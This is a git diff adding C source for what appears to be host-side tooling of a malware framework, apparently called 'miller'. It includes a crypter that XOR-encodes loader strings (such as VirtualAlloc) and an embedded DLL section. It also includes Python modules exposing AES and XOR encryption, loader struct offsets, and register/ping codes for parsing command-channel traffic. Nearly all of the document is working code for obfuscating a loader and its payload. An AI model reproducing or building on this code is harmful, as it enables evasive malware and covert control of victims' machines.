&key[0], app_options.ivkeysize); + break; + case E_NONE: + default: + break; + } + + if (app_options.print_buffer) { + printf("Encoded (Size: %lu):\n", newsiz); + printbytebuf(cryptd, newsiz, 78, app_options.verbose); + } + + /* decrypt (and check if algorithm works correctly) */ + switch (app_options.encmode) { + case E_XOR32: + case E_XOR32PCBC: + case E_XOR32NPCBC: { + char* tmp = calloc(newsiz, sizeof(char)); + memcpy(tmp, cryptd, newsiz); + if (app_options.encmode == E_XOR32) { + newsiz = xor32_crypt_buf((uint32_t*)tmp, newsiz, key[0]); + } else if (app_options.encmode == E_XOR32PCBC) { + xor32_pcbc_decrypt_buf((uint32_t*)tmp, newsiz, iv[0], key[0]); + } else { + xor32n_pcbc_crypt_buf((uint32_t*)tmp, newsiz, &iv[0], &key[0], app_options.ivkeysize); + } + if (app_options.print_buffer) { + printf("Decoded (Size: %lu):\n", siz); + printbytebuf(tmp, siz, 78, app_options.verbose); + } + if (memcmp(tmp, buf, siz) != 0) { + ret = 1; + fprintf(stderr, "%s: ERROR: original buffer and decrypted buffer differs!\n", argv[0]); + } + free(tmp); + } + case E_BASE64: + case E_NONE: + default: + break; + } + + /* generate output file */ + if (app_options.outfile) { + ssize_t written = 0; + errno = 0; + if ((written = writebuf(app_options.outfile, (unsigned char*)cryptd, newsiz)) != newsiz) { + fprintf(stderr, "%s could not write to output file (%lu/%lu bytes written)\n", argv[0], written, newsiz); + perror("write"); + } + } + + /* update loader strings/dll section */ + if (!app_options.dryrun && + (app_options.crpmode == D_CRYPT_SZVA || + app_options.crpmode == D_CRYPT_SZIB || + app_options.crpmode == D_CRYPT_SECTION)) { + memcpy(buf, (unsigned char*)cryptd, newsiz); + } + if (print_crypted_str) { + printf("String: %*s\n", (int)newsiz, cryptd); + } + + /* unmap files and free memory */ + free(cryptd); + errno = 0; + if (app_options.crpmode == D_CRYPT_SECTION && munmap(dllbuf, siz) != 0) { + fprintf(stderr, "%s: err while unmapping loder dll\n", argv[0]); + perror("munmap"); + ret = 1; + } + errno = 0; + if (munmap(orgbuf, orgsiz) != 0) { + perror("munmap"); + ret = 1; + } + } else { + ret = 1; + perror("mapfile"); + } + + if (ret == 0) { + printf("%s: succeeded\n", argv[0]); + } + return ret; +} diff --git a/source/tools/host/old/pyhttp.c b/source/tools/host/old/pyhttp.c new file mode 100644 index 0000000..b66576f --- /dev/null +++ b/source/tools/host/old/pyhttp.c @@ -0,0 +1,188 @@ +/* + * Module: pyhttp.c + * Author: Toni Uhlig <matzeton@googlemail.com> + * Purpose: Python loadable module for http codes/flags + */ + +#include "helper.h" /* must be the first include if compiling a python module */ + +#include <stdio.h> +#include <stdlib.h> + +#include "compat.h" +#include "http.h" +#include "xor_strings.h" /* DLLSECTION */ + + +static const char pname[] = "pyhttp"; + + +static PyObject* info(PyObject* self, PyObject* args) +{ + printf("%s: http codes/flags\n", pname); + Py_RETURN_NONE; +} + +#define PYDICT_SET_CMACRO(name, obj) PyDict_SetItemString( dict, name, obj ); +#define PYDICT_SETI_CMACRO(mname) { PyObject* pyval = Py_BuildValue("I", mname); if (pyval) { PYDICT_SET_CMACRO( #mname, pyval ); Py_DECREF(pyval); } } +#define PYDICT_SETS_CMACRO(mname) { PyObject* pyval = Py_BuildValue("s", mname); if (pyval) { PYDICT_SET_CMACRO( #mname, pyval ); Py_DECREF(pyval); } } +static PyObject* __http_getCodes(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_SETI_CMACRO(RC_INFO); + PYDICT_SETI_CMACRO(RC_REGISTER); + PYDICT_SETI_CMACRO(RC_PING); + return dict; +} + +static PyObject* __http_getCodeSiz(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", sizeof(rrcode)); +} + +static PyObject* __http_getFlags(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_SETI_CMACRO(RF_AGAIN); + PYDICT_SETI_CMACRO(RF_ERROR); + PYDICT_SETI_CMACRO(RF_OK); + + return dict; +} + +static PyObject* __http_getFlagSiz(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", sizeof(rflags)); +} + +static PyObject* __http_getConsts(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_SETS_CMACRO(DLLSECTION); + PYDICT_SETI_CMACRO(SID_LEN); + PYDICT_SETI_CMACRO(SID_ZEROES0); + PYDICT_SETI_CMACRO(SID_ZEROES1); + PYDICT_SETI_CMACRO(MARKER_SIZ); + PYDICT_SETI_CMACRO(RND_LEN); + PYDICT_SETI_CMACRO(AESKEY_SIZ); + + return dict; +} + +static PyObject* __http_parseResponse(PyObject* self, PyObject* args) +{ + PyObject* ctxRecvBuffer = NULL; + PyObject* ctxStartMarker = NULL; + Py_buffer recvBuffer = {0}, startMarker = {0}; + PyObject* rList = Py_BuildValue("[]"); + + if (! PyArg_ParseTuple(args, "O|O:parseResponse", &ctxRecvBuffer, &ctxStartMarker) || + ! ctxRecvBuffer || ! ctxStartMarker) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments"); + PyErr_Print(); + return NULL; + } + + if (PyObject_GetBuffer(ctxRecvBuffer, &recvBuffer, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(ctxStartMarker, &startMarker, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "Argument types are not buffer objects"); + PyErr_Print(); + goto finalize; + } + if (recvBuffer.len <= 0) { + PyErr_Format(PyExc_RuntimeError, "Invalid buffer length: %u", (unsigned)recvBuffer.len); + PyErr_Print(); + goto finalize; + } + if (startMarker.len != MARKER_SIZ) { + PyErr_Format(PyExc_TypeError, "Marker size is not exactly %u bytes: %u bytes", MARKER_SIZ, (unsigned)startMarker.len); + PyErr_Print(); + goto finalize; + } + + off_t bufOff = 0; + http_resp* hResp = NULL; + while (parseResponse(recvBuffer.buf, recvBuffer.len, &hResp, &bufOff, startMarker.buf) == RSP_OK && + hResp) { + PyObject* tuple = Py_BuildValue("(s#BHIs#)", hResp->startMarker, MARKER_SIZ, + hResp->respFlags, hResp->respCode, hResp->pkgsiz, &hResp->pkgbuf[0], hResp->pkgsiz); + PyList_Append(rList, tuple); + Py_DECREF(tuple); + } + +finalize: + if (recvBuffer.buf != NULL) + PyBuffer_Release(&recvBuffer); + if (startMarker.buf != NULL) + PyBuffer_Release(&startMarker); + return rList; +} + +static PyObject* __http_addRequest(PyObject* self, PyObject* args) +{ + struct http_resp* hResp = NULL; + PyObject* ctxBuf; + PyObject* ctxResp; + Py_buffer pkgBuf = {0}, httpResp = {0}; + PyObject* retBuf = NULL; + + if (! PyArg_ParseTuple(args, "O|O:addRequest", &ctxBuf, &ctxResp) || + ! ctxBuf || ! ctxResp) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments"); + return NULL; + } + + if (PyObject_GetBuffer(ctxBuf, &pkgBuf, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(ctxResp, &httpResp, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "Argument types are not buffer objects"); + PyErr_Print(); + goto finalize; + } + + hResp = (struct http_resp*)httpResp.buf; + if (httpResp.len != sizeof(struct http_resp) + hResp->pkgsiz) { + PyErr_Format(PyExc_RuntimeError, "Invalid http_resp size: %lu (required: %lu + %u)", httpResp.len, sizeof(struct http_resp), hResp->pkgsiz); + PyErr_Print(); + goto finalize; + } + + rrsize send_siz = pkgBuf.len; + rrbuff send_buf = COMPAT(calloc)(send_siz, sizeof(*send_buf)); + if (! send_buf) + goto finalize; + COMPAT(memcpy)(send_buf, pkgBuf.buf, send_siz); + if (addRequest(&send_buf, &send_siz, hResp) == RSP_OK) + retBuf = PyByteArray_FromStringAndSize((const char*)send_buf, send_siz); + COMPAT(free)(send_buf); +finalize: + if (pkgBuf.buf != NULL) + PyBuffer_Release(&pkgBuf); + if (httpResp.buf != NULL) + PyBuffer_Release(&httpResp); + if (retBuf) + return retBuf; + else + Py_RETURN_NONE; +} + + +/* define module methods */ +static PyMethodDef pycryptMethods[] = { + {"info", info, METH_NOARGS, "print module info"}, + {"getCodes", __http_getCodes, METH_NOARGS, "get http request/response codes"}, + {"getCodeSiz", __http_getCodeSiz, METH_NOARGS, "get code size"}, + {"getFlags", __http_getFlags, METH_NOARGS, "get http response flags"}, + {"getFlagSiz", __http_getFlagSiz, METH_NOARGS, "get flag size"}, + {"getConsts", __http_getConsts, METH_NOARGS, "get const data/macros"}, + {"parseResponse", __http_parseResponse, METH_VARARGS, "buf,startMarker -> parse http request/response"}, + {"addRequest", __http_addRequest, METH_VARARGS, "buf,struct http_resp -> add a http request to an pkgbuffer"}, + {NULL, NULL, 0, NULL} +}; + +/* module initialization */ +PyMODINIT_FUNC +initpyhttp(void) +{ + printf("ENABLED %s\n", pname); + (void) Py_InitModule(pname, pycryptMethods); +} diff --git a/source/tools/host/pycrypt.c b/source/tools/host/pycrypt.c new file mode 100644 index 0000000..ba15c7d --- /dev/null +++ b/source/tools/host/pycrypt.c @@ -0,0 +1,250 @@ +/* + * Module: pcrypt.c + * Author: Toni Uhlig <matzeton@googlemail.com> + * Purpose: Python loadable module for xor/plain buffer (en|de)cryption + */ + +#include "helper.h" /* must be the first include if compiling a python module */ + +#include <stdio.h> +#include <stdlib.h> + +#include "aes.h" +#include "crypt.h" +#include "compat.h" + + +static const char pname[] = "pycrypt"; +static bool aesInit = false; + + +static PyObject* info(PyObject* self, PyObject* args) +{ + printf("%s: (en|de)crypt xor/plain buffer\n", pname); + Py_RETURN_NONE; +} + +static int init(void) +{ + if (aesInit) + aes_cleanup(); + aes_init(); + aesInit = true; + return 0; +} + +static int __checkAESKeySize(unsigned int ksiz) +{ + if (ksiz != KEY_128 && ksiz != KEY_192 && ksiz != KEY_256) { + PyErr_Format(PyExc_TypeError, "Argument keysize must be either KEY_128(%d bytes), KEY_192(%d bytes) or KEY_256(%d bytes)", KEY_128, KEY_192, KEY_256); + return 0; + } + return 1; +} + +static int __checkCtxSize(void* buf, Py_ssize_t len) +{ + if (len < sizeof(aes_ctx_t)) { + PyErr_Format(PyExc_TypeError, "Invalid AES Context struct size: %lu < %lu", len, sizeof(aes_ctx_t)); + return 0; + } + aes_ctx_t* ctx = (aes_ctx_t*)buf; + uint32_t ks_size = 4*(ctx->rounds+1)*sizeof(uint32_t); + if (len != sizeof(aes_ctx_t)+ks_size) { + PyErr_Format(PyExc_TypeError, "Invalid AES Context rounds size: %lu < %lu", len, sizeof(aes_ctx_t)+ks_size); + return 0; + } + return 1; +} + +static PyObject* __aes_randomkey(PyObject* self, PyObject* args) +{ + unsigned int ksiz = 0; + if (! PyArg_ParseTuple(args, "I:aesRandomKey", &ksiz)) { + return NULL; + } + + if (__checkAESKeySize(ksiz) == 0) { + return NULL; + } + + unsigned char key[ksiz]; + memset(&key[0], '\0', ksiz); + aes_randomkey(&key[0], ksiz); + return PyByteArray_FromStringAndSize((const char*)&key[0], ksiz); +} + +static PyObject* __aes_allocCtx(PyObject* self, PyObject* args) +{ + PyObject* pyByteArray = NULL; + Py_buffer pyByteBuffer; + char* buf = NULL; + ssize_t len; + + if (! PyArg_ParseTuple(args, "O:aesAllocCtx", &pyByteArray)) { + PyErr_SetString(PyExc_TypeError, "Missing argument key as bytearray"); + return NULL; + } + if (PyObject_GetBuffer(pyByteArray, &pyByteBuffer, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "Argument is not a valid Bytebuffer"); + return NULL; + } + len = pyByteBuffer.len; + if (__checkAESKeySize(len) == 0) { + return NULL; + } + + buf = pyByteBuffer.buf; + aes_ctx_t* aes_ctx = aes_alloc_ctx((unsigned char*)buf, len); + + PyObject* ctxByteArray = NULL; + if (aes_ctx) { + ssize_t size = sizeof(aes_ctx_t)+4*(aes_ctx->rounds+1)*sizeof(uint32_t); + ctxByteArray = PyByteArray_FromStringAndSize((const char*)aes_ctx, size); + } + aes_free_ctx(aes_ctx); + PyBuffer_Release(&pyByteBuffer); + return ctxByteArray; +} + +static PyObject* __aes_crypt(PyObject* self, PyObject* args) +{ + Py_buffer plainBuffer; + PyObject* plainByteArray = NULL; + char* plain = NULL; + Py_buffer ctxBuffer; + PyObject* ctxByteArray = NULL; + aes_ctx_t* aes_ctx = NULL; + PyObject* boolDoEncrypt = NULL; + bool doEncrypt = true; + + if (! PyArg_ParseTuple(args, "O|O|O:aesEncrypt", &ctxByteArray, &plainByteArray, &boolDoEncrypt) || + ! ctxByteArray || ! plainByteArray || ! boolDoEncrypt) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments (signature: AES_CTX[bytearray] BUFFER[bytearray] DO_ENCRYPT[bool]"); + return NULL; + } + if (PyObject_GetBuffer(ctxByteArray, &ctxBuffer, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(plainByteArray, &plainBuffer, PyBUF_SIMPLE) < 0 ) { + return NULL; + } + if (__checkCtxSize(ctxBuffer.buf, ctxBuffer.len) == 0) { + PyErr_SetString(PyExc_TypeError, "Invalid aes context"); + return NULL; + } + + aes_ctx = (aes_ctx_t*)ctxBuffer.buf; + doEncrypt = PyObject_IsTrue(boolDoEncrypt); + plain = plainBuffer.buf; + + uint32_t newsiz = 0; + char* new = aes_crypt_s(aes_ctx, plain, plainBuffer.len, &newsiz, doEncrypt); + PyObject* out = PyByteArray_FromStringAndSize((const char*)new, newsiz); + COMPAT(free)(new); + PyBuffer_Release(&plainBuffer); + PyBuffer_Release(&ctxBuffer); + return out; +} + +static int __check_xor32key(unsigned int ksiz) +{ + return ksiz <= 128; +} + +static uint32_t __xor32_random(void) +{ + return xor32_randomkey(); +} + +static PyObject* __xor32_randomkeyiv(PyObject* self, PyObject* args) +{ + unsigned int ksiz = 0; + if (! PyArg_ParseTuple(args, "I:xorRandomKey", &ksiz) || + __check_xor32key(ksiz) == 0) { + PyErr_SetString(PyExc_TypeError, "Invalid argument for keysize"); + return NULL; + } + + uint32_t buf[ksiz]; + memset(&buf[0], '\0', ksiz*sizeof(buf[0])); + for (unsigned int i = 0; i < ksiz; ++i) { + buf[i] = __xor32_random(); + } + return PyByteArray_FromStringAndSize((const char*)&buf[0], ksiz*sizeof(buf[0])); +} + +static PyObject* __xor32n_pcbc_crypt_buf(PyObject* self, PyObject* args) +{ + PyObject* result = NULL; + PyObject* byteBuf = NULL; + PyObject* keyBuf = NULL; + PyObject* ivBuf = NULL; + Py_buffer pyByteBuf, pyKeyBuf, pyIvBuf; + + if (! PyArg_ParseTuple(args, "O|O|O:xorCrypt", &byteBuf, &keyBuf, &ivBuf) || + ! byteBuf) { + PyErr_SetString(PyExc_TypeError, "Invalid arguments (signature: BUFFER[bytearray] XORKEY[bytearray] IV[bytearray]"); + return NULL; + } + if (PyObject_GetBuffer(byteBuf, &pyByteBuf, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(keyBuf, &pyKeyBuf, PyBUF_SIMPLE) < 0 || + PyObject_GetBuffer(ivBuf, &pyIvBuf, PyBUF_SIMPLE) < 0) { + PyErr_SetString(PyExc_TypeError, "One or more arguments could not be exported into a Buffer View"); + goto failed; + } + + if (pyKeyBuf.len != pyIvBuf.len) { + PyErr_SetString(PyExc_TypeError, "Key and Iv length are not equal"); + goto failed; + } + if (pyKeyBuf.len % 4 != 0) { + PyErr_SetString(PyExc_TypeError, "Key and Iv length must be a multiple of 4 bytes"); + goto failed; + } + + size_t outsiz = pyByteBuf.len + sizeof(uint32_t)*pyKeyBuf.len; + uint32_t* outbuf = PyMem_Malloc(outsiz); + memset(outbuf, '\0', outsiz); + memcpy(outbuf, pyByteBuf.buf, pyByteBuf.len); + size_t newsiz = xor32n_pcbc_crypt_buf(outbuf, pyByteBuf.len, pyIvBuf.buf, pyKeyBuf.buf, pyKeyBuf.len / 4); + result = PyByteArray_FromStringAndSize((const char*)outbuf, newsiz); + PyMem_Free(outbuf); + +failed: + PyBuffer_Release(&pyByteBuf); + PyBuffer_Release(&pyKeyBuf); + PyBuffer_Release(&pyIvBuf); + return result; +} + + +/* define module methods */ +static PyMethodDef pycryptMethods[] = { + {"info", info, METH_NOARGS, "print module info"}, + {"aesRandomKey", __aes_randomkey, METH_VARARGS, "generate random aes key"}, + {"aesAllocCtx", __aes_allocCtx, METH_VARARGS, "allocate memory for a aes encryption/decryption context"}, + {"aesCrypt", __aes_crypt, METH_VARARGS, "(en|de)crypt a memory buffer"}, + {"xorRandomKeyIv", __xor32_randomkeyiv, METH_VARARGS, "generate a random xor key/iv 32-bit sequence"}, + {"xorCrypt", __xor32n_pcbc_crypt_buf, METH_VARARGS, "(en|de)crypt a memory buffer"}, + {NULL, NULL, 0, NULL} +}; + +/* module initialization */ +PyMODINIT_FUNC +initpycrypt(void) +{ + srandom(time(NULL)); + + if (init() != 0) { + printf("%s: Error while initializing module\n", pname); + } else { + printf("ENABLED %s\n", pname); + PyObject* m = Py_InitModule(pname, pycryptMethods); + if (m) { + if (PyModule_AddIntMacro(m, KEY_128) != 0 || + PyModule_AddIntMacro(m, KEY_192) != 0 || + PyModule_AddIntMacro(m, KEY_256) != 0) { + printf("Failed to add some Macro's ..\n"); + } + } + } +} diff --git a/source/tools/host/pyloader.c b/source/tools/host/pyloader.c new file mode 100644 index 0000000..4d0a487 --- /dev/null +++ b/source/tools/host/pyloader.c @@ -0,0 +1,114 @@ +/* + * Module: pyloader.c + * Author: Toni Uhlig <matzeton@googlemail.com> + * Purpose: Python loadable module for loader modifications + */ + +#include "helper.h" /* must be the first include if compiling a python module */ + +#include <stdio.h> +#include <stdlib.h> + +#include "loader.h" + + +static const char pname[] = "pyloader"; +static const size_t ldr_strivkeylen = LOADER_STR_IVKEYLEN; +static const size_t ldr_ivkeylen = LOADER_IVKEYLEN; +static const char endmarker[] = { _LOADER_ENDMARKER }; +static struct loader_x86_data loader86; + + +static PyObject* info(PyObject* self, PyObject* args) +{ + char* ldr_bufstr = bintostr((char*)&endmarker[0], sizeof(endmarker)/sizeof(endmarker[0]), 0, NULL); + printf("%s: get miller loader data from python scripts\n" + "\tLOADER_STR_IVKEYLEN: %lu\n" + "\tLOADER_IVKEYLEN....: %lu\n" + , pname, ldr_strivkeylen, ldr_ivkeylen); + printf( "\tENDMARKER..........: %s\n", ldr_bufstr); + free(ldr_bufstr); + Py_RETURN_NONE; +} + +static PyObject* getLdrStrLen(PyObject* self, PyObject* args) +{ + return Py_BuildValue("(II)", + sizeof(loader86.strVirtualAlloc)/sizeof(loader86.strVirtualAlloc[0]), + sizeof(loader86.strIsBadReadPtr)/sizeof(loader86.strIsBadReadPtr[0])); +} + +static PyObject* getLdrStrIvKeyLen(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", ldr_strivkeylen); +} + +static PyObject* getLdrIvKeySiz(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", sizeof(loader86.key[0])); +} + +static PyObject* getLdrIvKeyLen(PyObject* self, PyObject* args) +{ + return Py_BuildValue("I", ldr_ivkeylen); +} + +static PyObject* getLdrStructSize(PyObject* self, PyObject* args) +{ + return Py_BuildValue("n", sizeof(loader86)); +} + +static PyObject* getLdrEndmarker(PyObject* self, PyObject* args) +{ + return Py_BuildValue("s#", &endmarker[0], sizeof(endmarker)/sizeof(endmarker[0])); +} + +static PyObject* getLdrEndmarkerSize(PyObject* self, PyObject* args) +{ + return Py_BuildValue("n", sizeof(endmarker)/sizeof(endmarker[0])); +} + +#define CALC_OFFSET(elem) ( (off_t)&(loader86.elem) - (off_t)&loader86 ) +#define PYDICT_STRUCT_OFFSET(elem) { PyObject* pyval = Py_BuildValue("n", CALC_OFFSET(elem)); if (pyval) { PyDict_SetItemString( dict, #elem, pyval ); Py_DECREF(pyval); } } +static PyObject* getLdrStructOffsetDict(PyObject* self, PyObject* args) +{ + PyObject* dict = PyDict_New(); + PYDICT_STRUCT_OFFSET(strVirtualAlloc[0]); + PYDICT_STRUCT_OFFSET(strIsBadReadPtr[0]); + PYDICT_STRUCT_OFFSET(iv[0]); + PYDICT_STRUCT_OFFSET(key[0]); + PYDICT_STRUCT_OFFSET(flags); + PYDICT_STRUCT_OFFSET(ptrToDLL); + PYDICT_STRUCT_OFFSET(sizOfDLL); + PYDICT_STRUCT_OFFSET(endMarker); + PyDict_SetItemString(dict, "ldrStrLen", getLdrStrLen(self, args)); + PyDict_SetItemString(dict, "ldrStrIvKeyLen", getLdrStrIvKeyLen(self, args)); + PyDict_SetItemString(dict, "ldrIvKeySiz", getLdrIvKeySiz(self, args)); + PyDict_SetItemString(dict, "ldrIvKeyLen", getLdrIvKeyLen(self, args)); + PyDict_SetItemString(dict, "structSize", getLdrStructSize(self, args)); + PyDict_SetItemString(dict, "endMarkerSize", getLdrEndmarkerSize(self, args)); + return dict; +} + +/* define module functions */ +static PyMethodDef pyloaderMethods[] = { + {"info", info, METH_NOARGS, "module info"}, + {"getLdrStrLen", getLdrStrLen, METH_NOARGS, "get loader strings length"}, + {"getLdrStrIvKeyLen", getLdrStrIvKeyLen, METH_NOARGS, "get loader string iv/key len"}, + {"getLdrIvKeySiz", getLdrIvKeySiz, METH_NOARGS, "get loader iv/key element size"}, + {"getLdrIvKeyLen", getLdrIvKeyLen, METH_NOARGS, "get loader iv/key len"}, + {"getStructSize", getLdrStructSize, METH_NOARGS, "get struct loader_x86_data size"}, + {"getEndmarker", getLdrEndmarker, METH_NOARGS, "get loader endmarker buffer"}, + {"getEndmarkerSize", getLdrEndmarkerSize, METH_NOARGS, "get loader endmarker bufsiz"}, + {"getStructOffset", getLdrStructOffsetDict, METH_NOARGS, "get loader struct offset dict"}, + {NULL, NULL, 0, NULL} /* Sentinel */ +}; + +/* module initialization */ +PyMODINIT_FUNC +initpyloader(void) +{ + memset(&loader86, '\0', sizeof(loader86)); + printf("ENABLED %s\n", pname); + (void) Py_InitModule(pname, pyloaderMethods); +} |